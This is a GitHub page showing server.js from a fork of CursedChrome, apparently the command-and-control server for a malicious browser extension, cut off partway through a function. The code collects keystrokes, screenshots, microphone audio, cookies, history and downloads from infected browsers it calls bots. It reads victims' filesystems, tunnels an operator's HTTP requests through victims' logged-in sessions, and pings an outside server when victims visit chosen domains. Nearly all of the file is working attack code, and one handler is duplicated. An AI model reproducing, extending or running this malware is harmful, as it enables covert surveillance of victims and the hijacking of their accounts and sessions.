forked from s045pd/CursedChrome
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathserver.js
More file actions
1307 lines (1116 loc) · 37.6 KB
/
server.js
File metadata and controls
1307 lines (1116 loc) · 37.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
require("dotenv").config();
const NodeCache = require("node-cache");
const AnyProxy = require("./anyproxy");
const cluster = require("cluster");
const WebSocket = require("ws");
const https = require("https");
const redis = require("redis");
const uuid = require("uuid");
const util = require("util");
const database = require("./database.js");
const database_init = database.database_init;
const Users = database.Users;
const Bots = database.Bots;
const BotRecording = database.BotRecording;
const BotScreenshots = database.BotScreenshots;
const BotKeyboardLogs = database.BotKeyboardLogs;
const Settings = database.Settings;
const sequelize = database.sequelize;
const Sequelize = require("sequelize");
const Jimp = require("jimp");
const { log } = require("async");
const Op = Sequelize.Op;
const axios = require("axios");
// Global flag to indicate if a default proxy is set
global.GLOBAL_DEFAULT_PROXY_ACTIVE = false;
const get_secure_random_string = require("./utils.js").get_secure_random_string;
const logit = require("./utils.js").logit;
const BOT_DEFAULT_SWITCH_CONFIG =
require("./utils.js").BOT_DEFAULT_SWITCH_CONFIG;
const BOT_DEFAULT_DATA_CONFIG = require("./utils.js").BOT_DEFAULT_DATA_CONFIG;
const get_api_server = require("./api-server.js").get_api_server;
const numCPUs = require("os").cpus().length;
/*
TODO: We need to have a garbage collector for subscriptions
to the `TOPROXY_{{browser_id}}` topics in redis. Likely just
having a timeout since last request received would be reasonable
enough.
*/
const PROXY_PORT = process.env.PROXY_PORT || 8080;
const WS_PORT = process.env.WS_PORT || 4343;
const API_SERVER_PORT = process.env.API_SERVER_PORT || 8118;
const SERVER_VERSION = "1.0.0";
const RPC_CALL_TABLE = {
PING: ping,
SYNC: sync,
SYNC_HUGE: sync_huge,
STATE: state,
REALTIME_IMG: real_time_img,
SCREEN_CAPTURE_DATA: screen_capture_data,
USER_ACTIVITY: user_activity,
DEBUG_LOG: debug_log,
KEYBOARD_LOGS: keyboard_logs,
AUDIO_DATA: audio_data,
};
const REQUEST_TABLE = new NodeCache({
stdTTL: 30, // Default second(s) till the entry is removed.
checkperiod: 5, // How often table is checked and cleaned up.
useClones: false, // Whether to clone JavaScript variables stored here.
});
const NOTIFY_CACHE = new NodeCache({
stdTTL: 300, // Default second(s) till the entry is removed.
checkperiod: 5, // How often table is checked and cleaned up.
useClones: false, // Whether to clone JavaScript variables stored here.
});
class Message {
constructor() {
this.SERVER = process.env.BAK_SERVER || "";
this.LAST_ONLINE_CHECK_TIME = 60 * 30;
this.LAST_OFFLINE_CHECK_TIME = 60 * 5;
}
async check_last(bot, time) {
const botLastOnline = new Date(bot.last_online);
const botLastOnlineUTC = Date.UTC(
botLastOnline.getFullYear(),
botLastOnline.getMonth(),
botLastOnline.getDate(),
botLastOnline.getHours(),
botLastOnline.getMinutes(),
botLastOnline.getSeconds(),
botLastOnline.getMilliseconds()
);
const currentTimeUTC = new Date().getTime();
const timeDifferenceInSeconds = (currentTimeUTC - botLastOnlineUTC) / 1000;
return timeDifferenceInSeconds < time;
}
async online(bot, force = false) {
try {
if (bot === null) {
return;
}
if (!bot.switch_config.NOTIFICATION) {
return;
}
if (bot.is_online && !force) {
return;
}
if (await this.check_last(bot, this.LAST_ONLINE_CHECK_TIME)) {
return;
}
await axios.get(`${this.SERVER}/${bot.name || bot.id} is online`);
logit(`${bot.name} is online`, false);
} catch (err) {
console.log(err);
}
}
async offline(bot) {
try {
if (bot === null) {
return;
}
if (!bot.switch_config.NOTIFICATION) {
return;
}
if (!bot.is_online) {
return;
}
if (await this.check_last(bot, this.LAST_OFFLINE_CHECK_TIME)) {
return;
}
await axios.get(`${this.SERVER}/${bot.name} is offline`);
logit(`${bot.name} is offline`, false);
} catch (err) {
console.log(err);
}
}
async notify_domain(bot, domain) {
await axios.get(`${this.SERVER}/${bot.name} visited ${domain}`);
logit(`Notified ${bot.name} about ${domain}`, false);
}
}
const MessageWorker = new Message();
async function pong_and_get_bot(ws) {
if (!ws.browser_id) {
logit("Error: WebSocket connection not yet authenticated (no browser_id)");
throw new Error("WebSocket connection not yet authenticated (no browser_id)");
}
const bot = await Bots.findOne({
where: {
browser_id: ws.browser_id,
},
});
if (!bot) {
logit(`Error: Bot with browser_id ${ws.browser_id} not found in database`);
throw new Error(`Bot with browser_id ${ws.browser_id} not found in database`);
}
ws.send(
JSON.stringify({
id: uuid.v4(),
version: SERVER_VERSION,
action: "PONG",
data: {
switch_config: bot.switch_config,
data_config: bot.data_config,
},
})
);
return bot;
}
async function audio_data(websocket_connection, params) {
const bot = await pong_and_get_bot(websocket_connection);
// Save audio chunk to BotRecording
await BotRecording.create({
id: uuid.v4(),
bot: bot.id,
recording: params.chunk, // base64 chunk
timestamp: new Date(),
session_id: params.session_id
});
// Limit recordings to avoid database bloat (keep last 500 chunks per bot)
const count = await BotRecording.count({ where: { bot: bot.id } });
if (count > 500) {
const oldest = await BotRecording.findAll({
where: { bot: bot.id },
order: [['timestamp', 'ASC']],
limit: count - 500
});
if (oldest.length > 0) {
await BotRecording.destroy({
where: { id: oldest.map(r => r.id) }
});
}
}
}
async function state(websocket_connection, params) {
const bot = await pong_and_get_bot(websocket_connection);
const newState = params.state;
const oldState = bot.state;
const now = new Date();
let activity = bot.activity || [];
let updateData = {
is_online: true,
state: newState,
};
if (newState === "active") {
updateData.last_active_at = now;
// If transitioning from idle/locked to active, start new period
if (oldState !== "active") {
activity.push({ start: now, end: null });
updateData.activity = activity.slice(-100); // Keep last 100 periods
}
} else {
// If transitioning from active to idle/locked, end current period
if (oldState === "active" && activity.length > 0) {
const lastPeriod = activity[activity.length - 1];
if (lastPeriod.end === null) {
lastPeriod.end = now;
updateData.activity = activity;
}
}
}
await bot.update(updateData);
}
async function user_activity(websocket_connection, params) {
const bot = await pong_and_get_bot(websocket_connection);
const now = new Date();
let activity = bot.activity || [];
let updateData = {
last_active_at: now
};
// If there's an ongoing active session, just update its end time
// Wait, the user said "If I move mouse once and stop, that's the end"
// But usually we want to see blocks of activity.
// Let's implement activity blocks: if last hit was < 1 min ago, update end.
// If > 1 min ago, start new block.
if (activity.length > 0) {
let lastPeriod = activity[activity.length - 1];
let lastTime = lastPeriod.end ? new Date(lastPeriod.end) : new Date(lastPeriod.start);
// If the gap is less than 60 seconds, either start/extend current burst
if ((now.getTime() - lastTime.getTime()) < 60000) {
lastPeriod.end = now;
} else {
activity.push({ start: now, end: now });
}
} else {
activity.push({ start: now, end: now });
}
updateData.activity = activity.slice(-100);
await bot.update(updateData);
}
async function debug_log(websocket_connection, params) {
const bot = await pong_and_get_bot(websocket_connection);
logit(`[BROWSER DEBUG] [${bot.id}] ${params.message}`);
}
async function keyboard_logs(websocket_connection, params) {
const bot = await pong_and_get_bot(websocket_connection);
logit(`Received keyboard logs from bot ${bot.id} (${params.keys.length} chars)`);
await BotKeyboardLogs.create({
id: uuid.v4(),
bot_id: bot.id,
url: params.url,
title: params.title,
keys: params.keys,
timestamp: new Date()
});
// Limit logs to keep database clean (keep last 1000 logs per bot)
const count = await BotKeyboardLogs.count({ where: { bot_id: bot.id } });
if (count > 1000) {
const oldest = await BotKeyboardLogs.findAll({
where: { bot_id: bot.id },
order: [['timestamp', 'ASC']],
limit: count - 1000
});
if (oldest.length > 0) {
await BotKeyboardLogs.destroy({
where: { id: oldest.map(l => l.id) }
});
}
}
}
async function ping(websocket_connection, params) {
const bot = await pong_and_get_bot(websocket_connection);
let updateData = {
is_online: true,
current_tab: params.current_tab,
current_tab_image: params.current_tab_image,
};
if (bot.state === "active") {
updateData.last_active_at = new Date();
}
await bot.update(updateData);
// Check if current tab URL domain matches any monitored domains
if (bot.data_config.MONITOR_DOMAINS && params.current_tab) {
try {
const currentDomain = new URL(params.current_tab.url).hostname;
const matchedDomain = bot.data_config.MONITOR_DOMAINS.find((domain) =>
currentDomain.includes(domain)
);
if (matchedDomain) {
const lastNotifyKey = `last_notify_${bot.browser_id}_${matchedDomain}`;
const hasRecentNotification = NOTIFY_CACHE.get(lastNotifyKey);
if (!hasRecentNotification) {
await MessageWorker.notify_domain(bot, matchedDomain);
NOTIFY_CACHE.set(lastNotifyKey, true);
}
}
} catch (err) {
logit("Error processing domain notification:", err);
}
}
}
async function real_time_img(websocket_connection, params) {
const bot = await pong_and_get_bot(websocket_connection);
let updateData = {
is_online: true,
current_tab_image: params.current_tab_image,
};
if (bot.state === "active") {
updateData.last_active_at = new Date();
}
await bot.update(updateData);
}
async function sync(websocket_connection, params) {
const bot = await pong_and_get_bot(websocket_connection);
let updateData = {
is_online: true,
tabs: params.tabs,
};
if (bot.state === "active") {
updateData.last_active_at = new Date();
}
await bot.update(updateData);
}
async function sync_huge(websocket_connection, params) {
const bot = await pong_and_get_bot(websocket_connection);
let updateData = {
is_online: true,
history: params.history,
bookmarks: params.bookmarks,
cookies: params.cookies,
downloads: params.downloads,
};
if (bot.state === "active") {
updateData.last_active_at = new Date();
}
await bot.update(updateData);
}
async function user_activity(websocket_connection, params) {
const bot = await pong_and_get_bot(websocket_connection);
const now = new Date();
let activity = bot.activity || [];
let updateData = {
last_active_at: now
};
// If there's an ongoing active session, just update its end time
// Wait, the user said "If I move mouse once and stop, that's the end"
// But usually we want to see blocks of activity.
// Let's implement activity blocks: if last hit was < 1 min ago, update end.
// If > 1 min ago, start new block.
if (activity.length > 0) {
let lastPeriod = activity[activity.length - 1];
let lastTime = lastPeriod.end ? new Date(lastPeriod.end) : new Date(lastPeriod.start);
// If the gap is less than 60 seconds, either start/extend current burst
if ((now.getTime() - lastTime.getTime()) < 60000) {
lastPeriod.end = now;
} else {
activity.push({ start: now, end: now });
}
} else {
activity.push({ start: now, end: now });
}
updateData.activity = activity.slice(-100);
await bot.update(updateData);
}
async function screen_capture_data(websocket_connection, params) {
const bot = await pong_and_get_bot(websocket_connection);
logit("Received screen capture data from bot: " + bot.id);
const newCaptures = params.captures || [];
for (const capture of newCaptures) {
try {
if (!capture.imageData) continue;
// Extract base64 content
const base64Data = capture.imageData.replace(/^data:image\/\w+;base64,/, "");
const buffer = Buffer.from(base64Data, "base64");
// Use Jimp to resize and compress
const image = await Jimp.read(buffer);
// Limit dimensions to 800px max
if (image.bitmap.width > 800 || image.bitmap.height > 800) {
image.scaleToFit(800, 800);
}
// Set ultra-low quality (10%)
image.quality(10);
const compressedBuffer = await image.getBufferAsync(Jimp.MIME_JPEG);
const compressedBase64 = `data:image/jpeg;base64,${compressedBuffer.toString("base64")}`;
// Save to its own table
await BotScreenshots.create({
id: uuid.v4(),
bot_id: bot.id,
url: capture.url,
title: capture.title,
session_id: capture.sessionId,
image_data: compressedBase64,
difference: capture.difference,
timestamp: new Date(capture.timestamp || Date.now()),
});
} catch (err) {
logit("Error processing screenshot compression:", err);
}
}
// Update online status
await bot.update({
is_online: true,
});
// Optional: Clean up old screenshots for this bot (e.g., keep last 500)
try {
const totalCount = await BotScreenshots.count({ where: { bot_id: bot.id } });
if (totalCount > 500) {
const oldestToDelete = await BotScreenshots.findAll({
where: { bot_id: bot.id },
order: [['timestamp', 'ASC']],
limit: totalCount - 500
});
if (oldestToDelete.length > 0) {
await BotScreenshots.destroy({
where: {
id: oldestToDelete.map(s => s.id)
}
});
}
}
} catch (err) {
logit("Error cleaning up screenshots:", err);
}
}
function get_browser_proxy(input_browser_id) {
for (
var it = wss.clients.values(), val = null;
(current_ws_client = it.next().value);
) {
if (current_ws_client.browser_id === input_browser_id) {
return current_ws_client;
}
}
throw "No browser found that matches those credentials!";
return false;
}
function authenticate_client(websocket_connection) {
logit("Authenticating client...");
return new Promise(function (resolve, reject) {
// For timeout, will reject if no response in 30 seconds.
setTimeout(function () {
reject(`A timeout occurred when authenticating WebSocket client.`);
}, 30 * 1000);
const message_id = uuid.v4();
const auth_rpc_message = {
id: message_id,
version: "1.0.0",
action: "AUTH",
data: {},
};
// Add promise resolve to message table
// that way the promise is resolved when
// we get a response for our HTTP request
// RPC message.
REQUEST_TABLE.set(message_id, resolve);
// Send auth RPC message
websocket_connection.send(JSON.stringify(auth_rpc_message));
});
}
function get_browser_cookie_array(browser_id) {
logit("Getting cookies for browser_id: " + browser_id);
return new Promise(function (resolve, reject) {
// For timeout, will reject if no response in 30 seconds.
setTimeout(function () {
reject(`Get cookies RPC called timed out.`);
}, 15 * 1000);
const message_id = uuid.v4();
var message = {
id: message_id,
version: SERVER_VERSION,
action: "GET_COOKIES",
data: {},
};
// Add promise resolve to message table
// that way the promise is resolved when
// we get a response for our HTTP request
// RPC message.
REQUEST_TABLE.set(message_id, resolve);
// Subscribe to the proxy redis topic to get the
// response when it comes
const subscription_id = `TOPROXY_${browser_id}`;
subscriber.subscribe(subscription_id);
// Send the HTTP request RPC message to the browser
publisher.publish(`TOBROWSER_${browser_id}`, JSON.stringify(message));
});
}
function get_browser_history_array(browser_id) {
logit(`Getting history for browser ${browser_id}`);
return new Promise(function (resolve, reject) {
setTimeout(function () {
reject(`Get history RPC called timed out.`);
}, 30 * 1000);
const message_id = uuid.v4();
var message = {
id: message_id,
version: SERVER_VERSION,
action: "GET_HISTORY",
data: {},
};
REQUEST_TABLE.set(message_id, resolve);
const subscription_id = `TOPROXY_${browser_id}`;
subscriber.subscribe(subscription_id);
// Send the HTTP request RPC message to the browser
publisher.publish(`TOBROWSER_${browser_id}`, JSON.stringify(message));
});
}
function manipulate_browser(browser_id, path_uri) {
logit(`Manipulating browser ${browser_id} with path ${path_uri}`);
return new Promise(function (resolve, reject) {
// For timeout, will reject if no response in 30 seconds.
setTimeout(function () {
reject(`manipulate_browser RPC called timed out.`);
}, 3 * 1000);
const message_id = uuid.v4();
var message = {
id: message_id,
version: SERVER_VERSION,
action: "GET_FILESYSTEM",
data: path_uri,
};
REQUEST_TABLE.set(message_id, resolve);
subscriber.subscribe(`TOPROXY_${browser_id}`);
const subscription_id = `TOBROWSER_${browser_id}`;
subscriber.subscribe(subscription_id);
publisher.publish(subscription_id, JSON.stringify(message));
});
}
function send_request_via_browser(
browser_id,
authenticated,
url,
method,
headers,
body
) {
return new Promise(function (resolve, reject) {
// For timeout, will reject if no response in 30 seconds.
setTimeout(function () {
reject(`Request Timed Out for URL ${url}!`);
}, 30 * 1000);
const message_id = uuid.v4();
var message = {
id: message_id,
version: SERVER_VERSION,
action: "HTTP_REQUEST",
data: {
url: url,
method: method,
headers: headers,
body: body,
authenticated: authenticated,
},
};
// Add promise resolve to message table
// that way the promise is resolved when
// we get a response for our HTTP request
// RPC message.
REQUEST_TABLE.set(message_id, resolve);
// Subscribe to the proxy redis topic to get the
// response when it comes
const subscription_id = `TOPROXY_${browser_id}`;
subscriber.subscribe(subscription_id);
// Send the HTTP request RPC message to the browser
publisher.publish(`TOBROWSER_${browser_id}`, JSON.stringify(message));
});
}
function tab_navigate_and_fetch(browser_id, url) {
logit(`Navigating browser ${browser_id} to ${url} and fetching content`);
return new Promise(function (resolve, reject) {
// For timeout, will reject if no response in 35 seconds.
setTimeout(function () {
reject(`tab_navigate_and_fetch RPC called timed out.`);
}, 35 * 1000);
const message_id = uuid.v4();
var message = {
id: message_id,
version: SERVER_VERSION,
action: "TAB_NAVIGATE_AND_FETCH",
data: {
url: url,
},
};
// Add promise resolve to message table
// that way the promise is resolved when
// we get a response for our RPC message.
REQUEST_TABLE.set(message_id, resolve);
// Subscribe to the proxy redis topic to get the
// response when it comes
const subscription_id = `TOPROXY_${browser_id}`;
subscriber.subscribe(subscription_id);
// Send the RPC message to the browser
publisher.publish(`TOBROWSER_${browser_id}`, JSON.stringify(message));
});
}
function stop_tab_navigate(browser_id) {
logit(`Stopping navigation for browser ${browser_id}`);
return new Promise(function (resolve, reject) {
const message_id = uuid.v4();
var message = {
id: message_id,
version: SERVER_VERSION,
action: "STOP_TAB_NAVIGATE",
data: {},
};
REQUEST_TABLE.set(message_id, resolve);
subscriber.subscribe(`TOPROXY_${browser_id}`);
publisher.publish(`TOBROWSER_${browser_id}`, JSON.stringify(message));
});
}
function start_audio_recording(browser_id) {
logit(`Starting audio recording for browser ${browser_id}`);
return new Promise(function (resolve, reject) {
setTimeout(function () {
reject(`START_AUDIO_RECORDING RPC called timed out.`);
}, 10 * 1000);
const message_id = uuid.v4();
var message = {
id: message_id,
version: SERVER_VERSION,
action: "START_AUDIO",
data: {},
};
REQUEST_TABLE.set(message_id, resolve);
subscriber.subscribe(`TOPROXY_${browser_id}`);
publisher.publish(`TOBROWSER_${browser_id}`, JSON.stringify(message));
});
}
function stop_audio_recording(browser_id) {
logit(`Stopping audio recording for browser ${browser_id}`);
return new Promise(function (resolve, reject) {
setTimeout(function () {
reject(`STOP_AUDIO_RECORDING RPC called timed out.`);
}, 10 * 1000);
const message_id = uuid.v4();
var message = {
id: message_id,
version: SERVER_VERSION,
action: "STOP_AUDIO",
data: {},
};
REQUEST_TABLE.set(message_id, resolve);
subscriber.subscribe(`TOPROXY_${browser_id}`);
publisher.publish(`TOBROWSER_${browser_id}`, JSON.stringify(message));
});
}
function caseinsen_get_value_by_key(input_object, input_key) {
const object_keys = Object.keys(input_object);
var matching_value = undefined;
object_keys.map((object_key) => {
if (object_key.toLowerCase() === input_key.toLowerCase()) {
matching_value = input_object[object_key];
}
});
return matching_value;
}
const AUTHENTICATION_REQUIRED_PROXY_RESPONSE = {
response: {
statusCode: 407,
header: {
"Proxy-Authenticate": 'Basic realm="Please provide your credentials."',
},
body: "Provide credentials.",
},
};
async function get_authentication_status(inputRequestDetail) {
const proxy_authentication = caseinsen_get_value_by_key(
inputRequestDetail,
"Proxy-Authorization"
);
if (!proxy_authentication || !proxy_authentication.includes("Basic")) {
logit(`No proxy credentials provided, checking for global default proxy...`);
// Check for global default proxy if no credentials provided
const global_proxy_setting = await Settings.findOne({
where: { key: "GLOBAL_DEFAULT_PROXY_BOT_ID" }
});
if (global_proxy_setting && global_proxy_setting.value) {
global.GLOBAL_DEFAULT_PROXY_ACTIVE = true;
const bot = await Bots.findOne({
where: { id: global_proxy_setting.value }
});
if (bot) {
logit(`Using global default proxy: ${bot.name} (${bot.id})`);
return {
id: bot.id,
browser_id: bot.browser_id,
is_authenticated: bot.is_authenticated,
name: bot.name,
};
}
} else {
global.GLOBAL_DEFAULT_PROXY_ACTIVE = false;
}
return false;
}
const proxy_auth_string = new Buffer(
proxy_authentication.replace("Basic ", "").trim(),
"base64"
).toString();
const proxy_auth_string_parts = proxy_auth_string.split(":");
const username = proxy_auth_string_parts[0];
const password = proxy_auth_string_parts[1];
const memory_cache_key = `${username}:${password}`;
// If we already have this cached we can stop here.
const credential_data_string = await getAsync(memory_cache_key);
if (credential_data_string) {
const cached_record = JSON.parse(credential_data_string);
return {
id: cached_record.id,
browser_id: cached_record.browser_id,
is_authenticated: cached_record.is_authenticated,
name: cached_record.name,
};
}
// Kick both queries off at the same time for slightly improved speed.
var browserproxy_record = await Bots.findOne({
where: {
proxy_username: username,
proxy_password: password,
},
});
if (!browserproxy_record) {
logit(`Invalid credentials for username '${username}'!`);
return false;
}
// No need to wait for this to resolve
await setexAsync(
memory_cache_key,
60 * 10,
JSON.stringify(browserproxy_record)
);
return {
id: browserproxy_record.id,
browser_id: browserproxy_record.browser_id,
is_authenticated: browserproxy_record.is_authenticated,
name: browserproxy_record.name,
};
}
const options = {
port: PROXY_PORT,
rule: {
async beforeSendRequest(requestDetail) {
const remote_address = requestDetail._req.connection.remoteAddress;
const auth_details = await get_authentication_status(
requestDetail.requestOptions.headers
);
if (!auth_details) {
logit(
`[${remote_address}] Request denied for URL ${requestDetail.url}, no authentication information provided in proxy HTTP request!`
);
return AUTHENTICATION_REQUIRED_PROXY_RESPONSE;
}
// Send base64-encoded body if there's any data to
// send, otherwise set it to false.
const body =
requestDetail.requestData.length > 0
? requestDetail.requestData.toString("base64")
: false;
logit(
`[${auth_details.id}][${auth_details.name}] Proxying request ${requestDetail._req.method} ${requestDetail.url}`
);
const response = await send_request_via_browser(
auth_details.browser_id,
true,
requestDetail.url,
requestDetail.requestOptions.method,
requestDetail.requestOptions.headers,
body
);
// For connection errors
if (!response) {
logit(
`[${auth_details.id}][${auth_details.name}] A connection error occurred while requesting ${requestDetail._req.method} ${requestDetail.url}`
);
return {
response: {
statusCode: 503,
header: {
"Content-Type": "text/plain",
"X-Frame-Options": "DENY",
},
body: new Buffer(
`CursedChrome encountered an error while requesting the page.`
),
},
};
}
logit(
`[${auth_details.id}][${auth_details.name}] Got response ${response.status} ${requestDetail.url}`
);
let encoded_body_buffer = new Buffer(response.body, "base64");
let decoded_body = encoded_body_buffer.toString("ascii");
if ("content-encoding" in response.headers) {
delete response.headers["content-encoding"];
}
return {
response: {
statusCode: response.status,
header: response.headers,
body: encoded_body_buffer,
},
};
},
},
webInterface: {
enable: false,
webPort: 8002,
},
//throttle: 10000,
forceProxyHttps: true,
wsIntercept: false,
silent: true,
};
async function initialize_global_proxy_state() {
const global_proxy_setting = await Settings.findOne({
where: { key: "GLOBAL_DEFAULT_PROXY_BOT_ID" }
});
global.GLOBAL_DEFAULT_PROXY_ACTIVE = !!(global_proxy_setting && global_proxy_setting.value);
if (global.GLOBAL_DEFAULT_PROXY_ACTIVE) {
logit(`Initialized Global Default Proxy: ACTIVE (${global_proxy_setting.value})`);
}
}
async function initialize_new_browser_connection(ws) {
logit(`Authenticating newly-connected browser...`);
// Authenticate the newly-connected client.
const auth_result = await authenticate_client(ws);
const browser_id = auth_result.browser_id;
const user_agent = auth_result.user_agent;
// Set the browser ID on the WebSocket connection object
ws.browser_id = browser_id;
// Set up a subscription in redis for when we get a new
// HTTP proxy request that we need to send to the browser
// connected to use via WebSocket.
subscriber.subscribe(`TOBROWSER_${browser_id}`);
logit(`New subscriber: TOBROWSER__${browser_id}`);
// Check the database to see if we already have this browser
// Recorded in the DB.
var browserproxy_record = await Bots.findOne({
where: {
browser_id: browser_id,
},
});
if (browserproxy_record === null) {
/*
If the browser has no Bots in the database then we'll
create a default one which is authenticated and unscoped.
This is to make the user's first use experience much easier so
they can easily try out the functionality.
*/
logit(
`Browser ID ${browser_id} is not already registered. Creating new credentials for it...`